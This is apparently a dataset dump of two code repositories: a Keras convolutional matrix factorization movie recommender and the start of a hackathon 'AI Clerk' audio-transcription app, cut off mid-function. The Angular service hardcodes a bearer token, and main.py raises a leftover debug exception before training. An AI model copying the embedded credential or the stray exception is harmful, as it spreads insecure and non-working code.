Dropout(self.dropout_prob[0])(z)\n\n if self.model_num == \"CNN\":\n # Convolutional block\n conv_blocks = []\n\n for sz in self.filter_sizes:\n conv = Convolution1D(filters=self.num_filters,\n kernel_size=sz,\n padding=\"valid\",\n activation=\"relu\",\n strides=1)(z)\n conv = MaxPooling1D(pool_size=2)(conv)\n conv = Flatten()(conv)\n conv_blocks.append(conv)\n z = Concatenate()(conv_blocks) if len(conv_blocks) > 1 else conv_blocks[0]\n z = Dense(self.embedding_dim, activation=\"tanh\")(z)\n z = Dropout(self.dropout_prob[1])(z)\n z = Dense(self.feature_dim, activation=\"tanh\")(z)\n\n elif self.model_num == \"BiLSTM\":\n # BiDirectional LSTM\n z = CuDNNLSTM(128, return_sequences=True)(z)\n avg_pool = GlobalAveragePooling1D()(z)\n max_pool = GlobalMaxPooling1D()(z)\n z = Concatenate()([avg_pool, max_pool])\n z = Dropout(self.dropout_prob[1])(z)\n # z = Attention(self.sequence_length)(z)\n z = Dense(self.feature_dim, activation=\"sigmoid\")(z)\n\n else:\n raise Exception(\"Invalid model num!\")\n\n self.model = Model(model_input, z)\n\n # Initialize weights with word2vec\n if self.embedding == 1:\n weights = np.array([v for v in embedding_weights.values()])\n print(\"Initializing embedding layer with word2vec weights, shape\", weights.shape)\n embedding_layer = self.model.get_layer(\"embedding\")\n embedding_layer.set_weights([weights])\n\n def train(self, X_vec, Y_vec):\n rmsprop = RMSprop(lr=0.001, rho=0.9)\n # model.compile(loss='mean_squared_error', optimizer=rmsprop, metrics=[\"mse\"])\n self.model.compile(loss=\"mean_squared_error\", optimizer=rmsprop, metrics=[\"mse\"])\n self.history = self.model.fit(X_vec, Y_vec, batch_size=self.batch_size, epochs=self.epoch, verbose=0)\n return self.history\n\n def predict(self, X):\n return self.model.predict(X, batch_size=self.batch_size)\n\n def save_model(self, model_path, isoverwrite=True):\n self.model.save_weights(model_path, isoverwrite)\n\n\n\n" }, { "alpha_fraction": 0.5764948129653931, "alphanum_fraction": 0.586056649684906, "avg_line_length": 45.15642547607422, "blob_id": "0b7172d2e90dd7c5665c88f07c8b1fc2127491e6", "content_id": "ca47c25208562299589e790d49b8f061a7a2cfca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8262, "license_type": "no_license", "max_line_length": 119, "num_lines": 179, "path": "/data_preprocessing.py", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "# coding=utf-8\n\n\"\"\"\n@author: Zheng Wei\n@date: 7/15/2020\n\"\"\"\n\nfrom gensim.scripts.glove2word2vec import glove2word2vec\nfrom gensim.models import KeyedVectors\nfrom sklearn.model_selection import KFold\nimport pandas as pd\nfrom utils import *\nfrom configuration import *\n\n\ndef save_data(train, valid, test, output_path, pre=''):\n R_u2m = []\n R_m2u = []\n for item in (train, valid, test):\n tmp_R_u2m = dict()\n for i in tuple(set(item[\"user_id\"])):\n fixed_user = item[item[\"user_id\"] == i]\n tmp_R_u2m[i] = dict(zip(fixed_user[\"movie_id\"], fixed_user[\"rating\"]))\n R_u2m.append(tmp_R_u2m)\n\n tmp_R_m2u = dict()\n for j in tuple(set(item[\"movie_id\"])):\n fixed_movie = item[item[\"movie_id\"] == j]\n tmp_R_m2u[j] = dict(zip(fixed_movie[\"user_id\"], fixed_movie[\"rating\"]))\n R_m2u.append(tmp_R_m2u)\n\n # save_pickle(self.plot2vector,\n # name=\"movie_to_vector_\" + str(self.embedding_dim) + 'd_' + str(self.sequence_length) + 'w',\n # path=self.path)\n save_pickle(R_u2m[:2], name=pre + \"TV_R_u2m\", path=output_path)\n save_pickle(R_m2u[:2], name=pre + \"TV_R_m2u\", path=output_path)\n save_pickle(R_u2m[-1], name=pre + \"test_R_u2m\", path=output_path)\n save_pickle(R_m2u[-1], name=pre + \"test_R_m2u\", path=output_path)\n\n\nclass data_factory:\n def __init__(self, dim=config[\"embedding_dim\"], length=config[\"sequence_length\"]):\n self.plots = None\n self.users = None\n self.embedding_dim = dim\n self.sequence_length = length\n self.path = load_dataset_path\n # if os.path.isdir(path):\n # self.path = path\n # else:\n # raise Exception(\"Path doesn't exist!\")\n\n def read_data(self):\n\n print(\"Loading User Data...\")\n self.users = pd.read_csv(self.path + '/ml-' + config[\"dataset\"] + '_ratings.dat', sep='::', header=None,\n engine='python')\n self.users.columns = [\"user_id\", \"movie_id\", \"rating\", \"time\"]\n del self.users[\"time\"]\n\n print(\"Loading Plots Data...\")\n self.plots = pd.read_csv(self.path + '/ml_plot.dat', sep='::', header=None, engine='python')\n self.plots.columns = [\"movie_id\", \"plot\"]\n # self.plots[\"plot\"] = self.plots[\"plot\"].apply(lambda x: ' '.join(x.split(\"|\")[0].split(\"\\t\")[:-1]))\n self.plots[\"plot\"] = self.plots[\"plot\"].apply(\n lambda x: sum([item.split(\"\\t\")[:-1] for item in x.split(\"|\")], []))\n\n movie_id_set = set(self.plots[\"movie_id\"])\n self.users = self.users[self.users[\"movie_id\"].isin(movie_id_set)]\n self.plots = self.plots[self.plots[\"movie_id\"].isin(set(self.users[\"movie_id\"]))]\n self.plots.reset_index(drop=True, inplace=True)\n\n bert_plots = []\n for item in self.plots[\"plot\"].values:\n bert_plots.append(' '.join(item))\n save_pickle(bert_plots, name=prefix + \"_bert_plots2matrix\", path=load_dataset_path)\n # self.plots[\"plot\"] = self.plots[\"plot\"].apply(lambda x: x.split(' '))\n\n movie_ids = set(self.plots[\"movie_id\"])\n user_ids = set(self.users[\"user_id\"])\n self.movie_id_map = dict(zip(movie_ids, range(len(movie_ids))))\n self.user_id_map = dict(zip(user_ids, range(len(user_ids))))\n\n def padding_plots(self):\n print(\"Padding Plots...\")\n self.plots2matrix = []\n self.vocabulary = {'<PAD>'}\n for p in self.plots[\"plot\"]:\n self.vocabulary = self.vocabulary.union(set(p))\n l = len(p)\n if l >= self.sequence_length:\n self.plots2matrix.append(p[:self.sequence_length])\n else:\n self.plots2matrix.append(p + ['<PAD>'] * (self.sequence_length - l))\n # self.vocab_int_map = dict(zip(self.vocabulary, range(len(self.vocabulary))))\n # self.int_vocab_map = dict(zip(range(len(self.vocabulary)), self.vocabulary))\n\n # for p in self.plots[\"plot\"]:\n # l = len(p)\n # if l >= self.sequence_length:\n # self.plots2matrix.append([self.vocab_int_map[word] for word in p[:self.sequence_length]])\n # else:\n # self.plots2matrix.append([self.vocab_int_map[word] for word in p]\n # + [self.vocab_int_map['<PAD>']] * (self.sequence_length - l))\n # self.plots2matrix = np.arrayself.plots2matrix)\n save_pickle(self.plots2matrix, name=prefix + \"_plots2matrix\", path=load_dataset_path)\n save_pickle(self.vocabulary, name=prefix + \"_vocabulary\", path=load_dataset_path)\n # save_pickle(self.vocab_int_map, name=\"vocab_int_map\", path=self.path)\n # save_pickle(self.int_vocab_map, name=\"int_vocab_map\", path=self.path)\n\n def embedding_plots(self):\n print(\"Embedding Plots...\")\n word2vec_output_file = self.path + '/glove.6B/glove.6B.' + str(self.embedding_dim) + 'd.txt.word2vec'\n if not os.path.isfile(word2vec_output_file):\n glove2word2vec(self.path + '/glove.6B/glove.6B.' + str(self.embedding_dim) + 'd.txt', word2vec_output_file)\n w2v_model = KeyedVectors.load_word2vec_format(word2vec_output_file, binary=False)\n\n self.plots[\"plot\"] = self.plots[\"plot\"].apply(lambda x: list(filter(lambda i: i in w2v_model.vocab, x)))\n\n self.plot2vector = []\n for p in self.plots[\"plot\"]:\n l = len(p)\n if l >= self.sequence_length:\n self.plot2vector.append(w2v_model[p][:self.sequence_length])\n else:\n self.plot2vector.append(np.vstack((w2v_model[p],\n np.zeros((self.sequence_length - l, self.embedding_dim)))))\n\n self.plot2vector = np.array(self.plot2vector)\n\n def split_data(self, ratio=0.8, random_state=920):\n \"\"\"\n Split randomly rating data into training set, valid set and test set with given ratio (valid+test)\n and save three data sets to given path.\n Note that the training set contains at least a rating on every user and item.\n \"\"\"\n print(\"Split data and save data...\")\n if self.users is None:\n self.read_data()\n self.padding_plots()\n\n save_pickle(self.movie_id_map, name=\"movie_id_map\", path=load_dataset_path)\n save_pickle(self.user_id_map, name=\"user_id_map\", path=load_dataset_path)\n\n kf = KFold(n_splits=5, shuffle=True, random_state=random_state)\n\n for k, (train_index, test_index) in enumerate(kf.split(self.users)):\n train = self.users.iloc[train_index]\n assert len(set(train[\"user_id\"])) == len(set(self.users[\"user_id\"]))\n\n leaky_set = set(self.users[\"movie_id\"]) - set(train[\"movie_id\"])\n train = pd.concat([train, self.users[self.users[\"movie_id\"].isin(leaky_set)]])\n\n no_train = self.users.drop(train.index)\n test = no_train.sample(frac=0.5, random_state=random_state)\n valid = no_train.drop(test.index)\n path = load_dataset_path + str(k) + '-fold/'\n print(path, load_dataset_path)\n if not os.path.exists(path):\n os.makedirs(path)\n save_data(train, valid, test, output_path=path)\n\n def ratio_split_data(self, ratio, random_state):\n \"\"\"\n Split randomly rating data into training set, valid set and test set with given ratio (valid+test)\n and save three data sets to given path.\n Note that the training set contains at least a rating on every user and item.\n \"\"\"\n train = self.users.sample(frac=ratio, random_state=random_state)\n leaky_set_user_id = set(self.users[\"user_id\"]) - set(train[\"user_id\"])\n leaky_set_movie_id = set(self.users[\"movie_id\"]) - set(train[\"movie_id\"])\n train = pd.concat([train, self.users[self.users[\"user_id\"].isin(leaky_set_user_id)]])\n train = pd.concat([train, self.users[self.users[\"movie_id\"].isin(leaky_set_movie_id)]])\n\n no_train = self.users.drop(train.index)\n test = no_train.sample(frac=0.5, random_state=random_state)\n valid = no_train.drop(test.index)\n\n save_data(train, valid, test, output_path=load_dataset_path + \"r-fold/\", pre=str(ratio))\n" }, { "alpha_fraction": 0.5946109890937805, "alphanum_fraction": 0.6079322099685669, "avg_line_length": 36.11235809326172, "blob_id": "92ad7a267b7443fea0d2bdeb847c457753633e05", "content_id": "79cfef21ff487f97eac606e7e1167a5d28118329", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3303, "license_type": "no_license", "max_line_length": 119, "num_lines": 89, "path": "/utils.py", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "# coding=utf-8\n\n\"\"\"\n@author: Zheng Wei\n@date: 7/15/2020\n\"\"\"\n\nimport pickle\nimport numpy as np\nimport os\nfrom gensim.models import word2vec\nfrom os.path import join, exists, split\nfrom configuration import *\nfrom gensim.models import KeyedVectors\n\n\ndef save_pickle(data, name, path):\n if not os.path.exists(path):\n os.makedirs(path)\n output = open(path + '/' + name + '.pkl', 'wb')\n pickle.dump(data, output)\n output.close()\n\n\ndef load_pickle(path):\n pkl_file = open(path, 'rb')\n data = pickle.load(pkl_file)\n pkl_file.close()\n return data\n\n\ndef find_gpu():\n os.system('nvidia-smi -q -d Memory |grep -A4 GPU|grep Free >tmp')\n memory_gpu = [int(x.split()[2]) for x in open('tmp', 'r').readlines()]\n os.environ['CUDA_VISIBLE_DEVICES'] = str(np.argmax(memory_gpu))\n os.system('rm tmp')\n return str(np.argmax(memory_gpu))\n\n\ndef train_w2v(sentences, vocabulary, min_word_count=1, context=10):\n model_dir = os.getcwd() + '/w2vmodel/'\n # model_name = \"{}_{:d}s_{:d}e_{:d}f\".format(config[\"dataset\"], config[\"sequence_length\"], config[\"embedding_dim\"],\n # config[\"feature_dim\"])\n model_name = \"{:d}s_{:d}e_{:d}f\".format(config[\"sequence_length\"], config[\"embedding_dim\"], config[\"feature_dim\"])\n model_name = join(model_dir, model_name)\n if exists(model_name):\n embedding_model = word2vec.Word2Vec.load(model_name)\n print('Load existing Word2Vec model.py \\'%s\\'' % split(model_name)[-1])\n else:\n # Set values for various parameters\n num_workers = 2 # Number of threads to run in parallel\n downsampling = 1e-3 # Downsample setting for frequent words\n\n # Initialize and train the model.py\n print('Training Word2Vec model.py...')\n embedding_model = word2vec.Word2Vec(sentences, workers=num_workers,\n size=config[\"embedding_dim\"], min_count=min_word_count,\n window=context, sample=downsampling)\n\n # If we don't plan to train the model.py any further, calling\n # init_sims will make the model.py much more memory-efficient.\n embedding_model.init_sims(replace=True)\n\n # Saving the model.py for later use. You can load it later using Word2Vec.load()\n if not exists(model_dir):\n os.mkdir(model_dir)\n print('Saving Word2Vec model.py \\'%s\\'' % split(model_name)[-1])\n embedding_model.save(model_name)\n\n # add unknown words word2vec_output_file = os.getcwd() + '/dataset/glove.6B/glove.6B.' + str(config[\n # \"embedding_dim\"]) + 'd.txt.word2vec' embedding_model = KeyedVectors.load_word2vec_format(word2vec_output_file,\n # binary=False)\n embedding_weights = {word: embedding_model[word] if word in embedding_model else\n np.random.uniform(-0.25, 0.25, embedding_model.vector_size)\n for word in vocabulary}\n return embedding_weights\n\n\ndef eval_RMSE(U, V, user_id_map, movie_id_map, R):\n num = 0\n total = []\n for i in R.keys():\n i_rating = R[i]\n u = user_id_map[i]\n for j in i_rating.keys():\n m = movie_id_map[j]\n num += 1\n total.append((U[u].dot(V[m]) - i_rating[j]) ** 2)\n return np.sqrt(sum(total) / num)\n" }, { "alpha_fraction": 0.5597420930862427, "alphanum_fraction": 0.578510046005249, "avg_line_length": 38.65909194946289, "blob_id": "a44c4d324dbf1280431604169608ce5af6d492d2", "content_id": "d308ffd0ed0bc70b4ae9fabadf1ed7cc1bdc62cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6980, "license_type": "no_license", "max_line_length": 116, "num_lines": 176, "path": "/main.py", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "# coding=utf-8\n\n\"\"\"\n@author: Zheng Wei\n@date: 7/15/2020\n\"\"\"\n\nfrom data_preprocessing import *\nfrom utils import *\nfrom model import NN\nfrom configuration import *\nfrom keras_bert import extract_embeddings\nimport time\nimport os\n\n\ndef generate_data(need_split=False, random_state=920):\n df = data_factory()\n df.read_data()\n df.padding_plots()\n # df.embedding_plots()\n if need_split:\n df.split_data(random_state=random_state)\n\n\ndef generate_ratio_data(random_state=920):\n df = data_factory()\n df.read_data()\n for ratio in [0.2, 0.3, 0.4, 0.5, 0.6, 0.7]:\n df.ratio_split_data(ratio, random_state=random_state)\n\n\ndef train_model(seed=920):\n np.random.seed(seed)\n\n embedding = config[\"embedding\"]\n feature_dim = config[\"feature_dim\"]\n\n plots_matrix = load_pickle(load_dataset_path + prefix + '_plots2matrix.pkl')\n vocabulary = load_pickle(load_dataset_path + prefix + '_vocabulary.pkl')\n embedding_weights = train_w2v(sentences=plots_matrix, vocabulary=vocabulary)\n\n if embedding == 0:\n matrix = np.array([[embedding_weights[w] for w in p] for p in plots_matrix])\n print(matrix.shape)\n elif embedding == 1:\n vocab2int = dict(zip(vocabulary, range(len(vocabulary))))\n matrix = np.array([[vocab2int[w] for w in p] for p in plots_matrix])\n else:\n plots_matrix = load_pickle(load_dataset_path + prefix + '_bert_plots2matrix.pkl')\n model_path = './' + str(config[\"embedding_dim\"]) + '/'\n print(\"Bert Model...\")\n # texts = ['all work and no play', 'makes jack a dull boy~']\n matrix = extract_embeddings(model_path, plots_matrix)\n modified_matrix = []\n for item in matrix:\n np_array = np.random.uniform(-0.25, 0.25, (config[\"sequence_length\"], config[\"embedding_dim\"]))\n l = min(config[\"sequence_length\"], len(item))\n np_array[:l] = item[:l]\n modified_matrix.append(np_array)\n matrix = np.array(modified_matrix)\n print(\"Done!\")\n print(matrix.shape)\n\n TV_R_u2m = load_pickle(save_dataset_path + '/TV_R_u2m.pkl')\n TV_R_m2u = load_pickle(save_dataset_path + '/TV_R_m2u.pkl')\n test_R_u2m = load_pickle(save_dataset_path + '/test_R_u2m.pkl')\n\n # ratio = 0.7\n # print(\"Ratio: \", ratio)\n # TV_R_u2m = load_pickle(load_dataset_path + \"r-fold/\" + str(ratio) + 'TV_R_u2m.pkl')\n # TV_R_m2u = load_pickle(load_dataset_path + \"r-fold/\" + str(ratio) + 'TV_R_m2u.pkl')\n # test_R_u2m = load_pickle(load_dataset_path + \"r-fold/\" + str(ratio) + 'test_R_u2m.pkl')\n\n movie_id_map = load_pickle(load_dataset_path + '/movie_id_map.pkl')\n user_id_map = load_pickle(load_dataset_path + '/user_id_map.pkl')\n # vectors = load_pickle(path + '/dataset/movie_to_vector_' + str(embedding_dim) +\n # 'd_' + str(sequence_len) + 'w' + '.pkl')\n\n max_epoch = config[\"max_epoch\"]\n lam_u = config[\"lam_u\"]\n lam_v = config[\"lam_v\"]\n\n train_R_u2m = TV_R_u2m[0]\n train_R_m2u = TV_R_m2u[0]\n valid_R_u2m = TV_R_u2m[1]\n # valid_R_m2u = TV_R_m2u[1]\n\n num_users = len(train_R_u2m)\n num_movies = len(train_R_m2u)\n U = np.random.uniform(size=(num_users, feature_dim))\n V = np.random.uniform(size=(num_movies, feature_dim))\n CNN_model = NN(embedding_weights, len(vocabulary))\n from keras.utils import plot_model\n plot_model(CNN_model.model, to_file='model4.png', show_layer_names=False)\n raise Exception(\"Fuck!\")\n\n Cnn = CNN_model.predict(matrix)\n\n\n\n print(\"Training Process...\")\n # pre = str(ratio)\n f1 = open(os.getcwd() + \"/logs/total_state_.log\", 'a+')\n f = open(os.getcwd() + \"/logs/state_\" + config_str + '.log', 'w')\n\n stop_early_monitor = [2] * 5\n for epoch in range(max_epoch):\n t1 = time.time()\n print(\"Epoch \", epoch, end=': ')\n loss = 0\n\n # Update user vector\n for i in train_R_u2m.keys():\n Vi = V[[movie_id_map[k] for k in (train_R_u2m[i].keys())]]\n A = lam_u * np.eye(feature_dim, feature_dim) + Vi.T.dot(Vi)\n B = (Vi * np.tile(list(train_R_u2m[i].values()), (feature_dim, 1)).T).sum(0)\n U[user_id_map[i]] = np.linalg.solve(A, B)\n loss += lam_u / 2 * U[user_id_map[i]].dot(U[user_id_map[i]])\n\n # Update movie vector\n for j in train_R_m2u.keys():\n Ui = U[[user_id_map[k] for k in train_R_m2u[j].keys()]]\n A = lam_v * np.eye(feature_dim, feature_dim) + Ui.T.dot(Ui)\n B = (Ui * np.tile(list(train_R_m2u[j].values()), (feature_dim, 1)).T).sum(0) \\\n + lam_v * Cnn[movie_id_map[j]]\n V[movie_id_map[j]] = np.linalg.solve(A, B)\n loss += 0.5 * (np.array(list(train_R_m2u[j].values())) ** 2).sum()\n loss += 0.5 * np.dot(V[movie_id_map[j]].dot(Ui.T.dot(Ui)), V[movie_id_map[j]])\n loss -= np.sum((Ui.dot(V[movie_id_map[j]])) * np.array(list(train_R_m2u[j].values())))\n\n history = CNN_model.train(matrix, V)\n\n # retrain CNN vector\n Cnn = CNN_model.predict(matrix)\n cnn_loss = history.history['loss'][-1]\n\n # calculate the loss\n loss += 0.5 * lam_v * cnn_loss * num_movies\n\n # compute the RMSE for three datasets\n tr_eval = eval_RMSE(U, V, user_id_map, movie_id_map, train_R_u2m)\n val_eval = eval_RMSE(U, V, user_id_map, movie_id_map, valid_R_u2m)\n test_eval = eval_RMSE(U, V, user_id_map, movie_id_map, test_R_u2m)\n t2 = time.time()\n\n stop_early_monitor.append(val_eval)\n converge = (np.abs(np.array(stop_early_monitor[-5:]) - np.array(stop_early_monitor[-6:-1]))).mean()\n\n print(\"Time: {:.1f}s, Loss: {:.4f}, Converge: {:.5f}, Training RMSE: {:.4f}, Valid RMSE: {:.4f}, \"\n \"Test RMSE: {:.4f}\".format(t2 - t1, loss, converge, tr_eval, val_eval, test_eval))\n f.write(\"Epoch: {}, Time: {:.1f}, Loss: {:.4f}, Converge: {:.5f}, Training RMSE: {:.4f}, Valid RMSE: {:.4f}\"\n \", Test RMSE: {:.4f}\\n\".format(epoch, t2 - t1, loss, converge, tr_eval, val_eval, test_eval))\n if converge < 1e-4:\n f1.write(config_str + \"Epoch: {}, Training RMSE: {:.4f}, Valid RMSE: {:.4f}, Test RMSE: {:.4f}\\n\".\n format(epoch, tr_eval, val_eval, test_eval))\n break\n\n # save model.py and result\n CNN_model.save_model(model_path=os.getcwd() + '/result/' + config_str + 'cnn_weights.h5')\n save_pickle(data=U, name=config_str + \"_U\", path=os.getcwd() + '/result/')\n save_pickle(data=V, name=config_str + \"V\", path=os.getcwd() + '/result/')\n save_pickle(data=Cnn, name=config_str + \"Cnn\", path=os.getcwd() + '/result/')\n\n f.close()\n f1.close()\n\n\nif __name__ == \"__main__\":\n gpu_num = find_gpu()\n os.environ['CUDA_VISIBLE_DEVICES'] = gpu_num\n print(\"Using the gpu: \", gpu_num)\n # generate_ratio_data()\n # generate_data(need_split=False, random_state=920)\n train_model()\n # train_model(CNN_model, os.getcwd(), cnn_configuration)\n" }, { "alpha_fraction": 0.7100567817687988, "alphanum_fraction": 0.7254663705825806, "avg_line_length": 24.412370681762695, "blob_id": "c6a4e8043f8efba3c12e8078800b7a2045a70c66", "content_id": "93767ef596a081baa7737870a9f70ecf9253cb7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2466, "license_type": "no_license", "max_line_length": 115, "num_lines": 97, "path": "/README.md", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "## Improved Convolutional Matrix Factorization for Recommendation System\n\n#### Overview\n\n> The extreme sparsity of the rating data seriously affects the recommendation quality\n> of the recommendation system. In order to alleviate the problem of data sparsity,\n> some convolutional neural network (CNN)-based models make full use of text data\n> to improve the recommendation accuracy. However, due to the inherent limitations\n> of the traditional convolutional network, they have difficulty in effectively using the\n> contextual information of the document, resulting in an insufficient understanding\n> of the document. This paper improves the convolutional matrix factorization model\n> by structural innovations. Our extensive evaluation of two real data sets shows that\n> even with rating data that is extremely sparse, the performance of the improved\n> model far exceeds the original model.\n\n###### All code in the project is original, refer to: https://github.com/WZ-ZXY/NNDL_PJ\n\n###### Our selected paper: https://dl.acm.org/doi/10.1145/2959100.2959165\n\n#### Requirements\n\n- Python 3.7.6\n- Tensorflow 2.2.0\n- Keras 2.24\n\n#### How to Run\n\nNote: Run `python main.py ` in bash shell. You will see the process.\n\n#### File Explanation\n\n+ Input File\n\n The input data is saved in dataset folder\n\n+ Output File\n\n + The w2v folder stores the embedding information of the training model\n + The result folder stores the weights of the training model\n + The loss folder stores the loss of the output of each training model\n\n+ Code File\n\n + main.py: Responsible for running and training models of the main program\n + data_preprocessing.py: Responsible for data preprocessing, return and save data in proper format\n + model.py: Responsible for saving model code\n + attention.py: Responsible for the realization of the attention module\n + configuration.py: Configuration file, which mainly stores the hyperparameters of the model\n + utils.py: Contains some other needed functions\n\n#### File tree is shown as following:\n\n> dataset/\n>\n> > 1m/\n> >\n> > > 0-fold\n> > >\n> > > ...\n> >\n> > 10m/\n> >\n> > > ml-10m_movies.dat\n> > >\n> > > ...\n> >\n> > TV_R_m2u.pkl\n> >\n> > ..\n>\n> result/\n>\n> w2vmodel/\n>\n> logs/\n>\n> > total_state_.log\n> >\n> > ...\n>\n> configuration.py\n>\n> data_preprocessing.py\n>\n> attention.py\n>\n> mode.py\n>\n> main.py\n>\n> utils.py\n\n\n\n#### Notes\n\nThe folds are empty, if you wanna acquire these data and configuration file, please contact me: [email protected] or [email protected].\n\n" }, { "alpha_fraction": 0.4225621521472931, "alphanum_fraction": 0.46367111802101135, "avg_line_length": 28.02777862548828, "blob_id": "9fafe9ecf6ffa3fdfd7ac4e9ff0b2a85bc7bcb66", "content_id": "be73e39276d4e5b9a9c45a2220562d90e8649ccd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1046, "license_type": "no_license", "max_line_length": 109, "num_lines": 36, "path": "/configuration.py", "repo_name": "WZ-ZXY/Big-Data-Analysis-Project", "src_encoding": "UTF-8", "text": "# coding=utf-8\n\n\"\"\"\n@author: Zheng Wei\n@date: 12/19/2019\n\"\"\"\n\nimport os\n\nconfig = {\n \"embedding\": 0,\n \"model_num\": \"CNN\",\n \"sequence_length\": 300,\n \"embedding_dim\": 256,\n \"feature_dim\": 50,\n \"dropout_prob\": [0.5, 0.8],\n \"filter_size\": [3, 4, 5],\n \"num_filter\": 100,\n \"batch_size\": 128,\n \"epoch\": 5,\n \"max_epoch\": 50,\n \"lam_u\": 100,\n \"lam_v\": 10,\n \"dataset\": '1m',\n \"k-fold\": \"4-fold\"\n}\n\nconfig_str = \"{}_{:d}s_{:d}e_{:d}f_{:.2f}dp_{:d}n\".format(config[\"dataset\"] + config[\"k-fold\"],\n config[\"sequence_length\"], config[\"embedding_dim\"],\n config[\"feature_dim\"], config[\"dropout_prob\"][1],\n config[\"num_filter\"])\n\nprefix = str(config[\"sequence_length\"]) + 's_' + str(config[\"embedding_dim\"]) + 'e_'\n\nload_dataset_path = os.getcwd() + '/dataset/' + config[\"dataset\"] + '/'\nsave_dataset_path = load_dataset_path + config[\"k-fold\"] + '/'\n\n" } ]
6
deoxyribose/SAPhackathon2019AIClerk
https://github.com/deoxyribose/SAPhackathon2019AIClerk
1843035b7e1be3286d8711c441b734a963cb6d3d
648bf1fd5abde508bcf07c3ca15f083c3d87f9a0
eb7a94cdaa4afc5017a5bf927c53bf665937c596
refs/heads/master
2023-01-10T00:59:05.610811
2019-09-26T15:54:10
2019-09-26T15:54:10
211,040,885
0
0
null
2019-09-26T08:37:22
2019-09-26T15:54:30
2023-01-07T10:07:11
Jupyter Notebook
[ { "alpha_fraction": 0.5380116701126099, "alphanum_fraction": 0.5380116701126099, "avg_line_length": 16.100000381469727, "blob_id": "0dcfdc95a350602cb7ab5577cbb07d2a5d2dc288", "content_id": "59c01bd7f4f1aa954112c352a9eab2d3ac444d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 171, "license_type": "no_license", "max_line_length": 34, "num_lines": 10, "path": "/Frontend/src/app/components/player/player.class.ts", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "export class Player {\n name = '';\n title = '';\n text = '';\n constructor(name, title, text) {\n this.name = name;\n this.title = title;\n this.text = text;\n }\n}\n" }, { "alpha_fraction": 0.5953667759895325, "alphanum_fraction": 0.5984556078910828, "avg_line_length": 26.553192138671875, "blob_id": "8e436d40232fc90cb9b7142554a42ac2f840a596", "content_id": "2f1f08937afe3282118a3a9fb49211d2acc5cb1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 65, "num_lines": 47, "path": "/Frontend/src/app/api.service.ts", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "import { Injectable } from '@angular/core';\nimport { HttpClient, HttpHeaders } from '@angular/common/http';\nimport { BehaviorSubject } from 'rxjs';\nimport { Player } from './components/player/player.class';\n\n@Injectable({\n providedIn: 'root'\n})\nexport class ApiService {\n private playersSubject = new BehaviorSubject<Player[]>([]);\n constructor(private http: HttpClient) {}\n\n players = this.playersSubject.asObservable();\n\n doPlayersCheck() {\n const url = 'http://localhost:3000/';\n const headers = new HttpHeaders({\n 'Content-Type': 'application/json',\n Authorization: `Bearer 9f4daaa114b20d9c6a0d1713efc132c`,\n Accept: 'application/json'\n });\n\n /* this.http\n .get<Player[]>(url, {\n headers: headers\n })\n .subscribe(response => {\n if (response) {\n this.playersSubject.next(response);\n } else {\n }\n }); */\n }\n doPlayersCheckTest() {\n this.playersSubject.next([\n new Player('Alex', 'Developer', 'asdsadasd '),\n new Player('Frans', 'Nerd', 'asddasg dihasi '),\n new Player('Niels', 'Robin to Nerd', 'gsdfasdihasi '),\n new Player('Prayson', 'Owner of something', 'Preyson is '),\n new Player(\n 'Eskil',\n 'Skilled in Electronics',\n 'rerqrdafashd ohasiojd ahs dihasi '\n )\n ]);\n }\n}\n" }, { "alpha_fraction": 0.5082212090492249, "alphanum_fraction": 0.5201793909072876, "avg_line_length": 16.179487228393555, "blob_id": "2c35ee31a7777969497f710be05060397a0542cc", "content_id": "915102d6cfd2f8fd2f7020b1297ace352954a495", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 669, "license_type": "no_license", "max_line_length": 53, "num_lines": 39, "path": "/model/main.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "from aiclerk import AIClerk\nimport time\n\n\ndef main():\n # Start the microphone\n ai = AIClerk()\n ai.estimate_background_noise()\n ai.start()\n t0 = time.perf_counter()\n t1 = time.perf_counter()\n data_ = []\n while (t1-t0 < 10):\n t1 = time.perf_counter()\n res = ai.get_data()\n if res['audio']:\n data_.append(res)\n print(f'Person talking: {res[\"person\"]}')\n\n print('Stopping')\n ai.stop()\n\n '''\n # Write audio files\n for idx, aud in enumerate(data_):\n aud_string = [a[0] for a in aud]\n save_aud(aud_string,f'rec_{idx}.wav', t)\n '''\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.6200256943702698, "alphanum_fraction": 0.6225930452346802, "avg_line_length": 21.285715103149414, "blob_id": "622f5f5d5491239d5a030eb58cf209da9e90c69e", "content_id": "06016f5e513305d0a81facd91f82c6c0f1b7059e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 779, "license_type": "no_license", "max_line_length": 91, "num_lines": 35, "path": "/app/app.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "import sys\nsys.path.insert(0, '..')\n\nfrom collections import defaultdict\n\nfrom fastapi import FastAPI\nfrom vtt import VoiceToText\n\napp = FastAPI(__file__)\nstorage = defaultdict(list)\n\[email protected]('/')\ndef index():\n return {\"Hello\": \"World\"}\n\[email protected]('/data')\nasync def send():\n\n response = VoiceToText.transcribe(audio_in='../data/audios/try3.wav', language='en-US')\n\n if response.get('success'):\n text = response.get('transcribed')\n storage['profile'].append('jack')\n storage['text'].append(text)\n else:\n # 